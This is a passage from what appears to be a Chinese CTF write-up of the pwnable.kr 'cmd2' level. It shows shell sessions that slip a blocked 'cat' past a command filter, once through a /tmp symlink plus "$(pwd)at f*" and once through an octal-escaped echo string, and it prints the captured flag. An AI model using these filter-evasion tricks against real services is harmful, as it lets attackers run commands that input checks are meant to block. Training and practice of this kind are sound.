发现pwd命令可以直接产生/字符,因此可以构造出如下的使用方法。首先在/tmp目录下建立自己的目录exploit,然后创建目录/tmp/exploit/c。那么,如果在/tmp/exploit/c目录下执行pwd命令就可以得到/tmp/exploit/c了。然后在/tmp/exploit下构造cat的软应用ln -s /bin/cat cat,在/tmp/exploit/c下建立flag的软引用ln -s /home/cmd2/flag flag。然后在/tmp/exploit/c下执行命令/home/cmd2/cmd2 “\$(pwd)at f*”就可以得到flag了。其原理就是利用“$(pwd)at”构造出/tmp/exploit/cat命令。

1
2
3
4
5
6
7
$ ln -s /bin/cat cat
$ mkdir c
$ cd c
$ ln -s /home/cmd2/flag flag
$ /home/cmd2/cmd2 "\$(pwd)at f*"
$(pwd)at f*
FuN_w1th_5h3ll_v4riabl3s_haha

还有这个

(echo 命令不通过参数 e 也可以解析出 16 进制 和 8 进制的字串,不过不同 echo 版本会对这个功能有所限制,像笔者虚拟机 Ubuntu 16.04 的 echo 就无法解析,只有 echo -e 才能解析特殊字符)

经过测试服务器上 echo 只能直接解析出 8 进制字符串:

1
2
3
cmd2@ubuntu:/tmp/c$ /home/cmd2/cmd2 "\$(echo '\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147')"
$(echo '\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147')
FuN_w1th_5h3ll_v4riabl3s_haha

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. [fd]
  2. 2. collision
  3. 3. bof
  4. 4. flag
  5. 5. passcode
  6. 6. random
  7. 7. input*
  8. 8. leg
    1. 8.1. R15 (PC)
    2. 8.2. R0
  9. 9. mistake
  10. 10. coin1
  11. 11. blackjack
  12. 12. lotto
  13. 13. cmd1
  14. 14. cmd2
载入天数...载入时分秒...